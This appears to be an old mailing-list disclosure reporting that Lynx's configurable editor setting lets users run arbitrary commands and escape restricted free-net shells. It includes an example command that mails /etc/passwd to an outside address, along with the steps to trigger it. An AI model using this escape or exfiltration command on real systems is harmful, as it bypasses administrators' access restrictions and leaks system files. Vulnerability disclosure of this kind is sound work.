lynx-dev Running Shell Commands off of Lynx

[Andrew Chen]

Before I get to anything, I'm not subscribed on the Lynx development list,
so any messages from that group will need to be forwarded to me.

The problem is that in Lynx (running 2.8r2 and this should also effect the
2.7 line), you can specify whatever editor you want in the options menu
(press 'o' and then 'e') and thus you can put in whatever commands you
want. For example, just assign the editor to:

"cat /etc/passwd | mail address@hidden"

and then type in a "mailto:address@hidden"; Eventually near the end, when it
asks if you want to edit the message, you can get the command executed.

This probably wouldn't be a problem (since the commands just run as the
user) except that quite a few situations involving "free-nets" (and
possibly others) the user telnets in, is presented with a menu and is only
supposed to do certain things (like send e-mail, browse the web). However,
this thing in Lynx allows users to change their shell, which quite a few
places are not prepared to deal with.

Obviously good administration of the system will probably keep users from
doing harm to the system once they've broken out of whatever shell they
were originally assigned, but nevertheless, I'm sure at least a few
organizations are interested in this information.

G'night all,
Andrew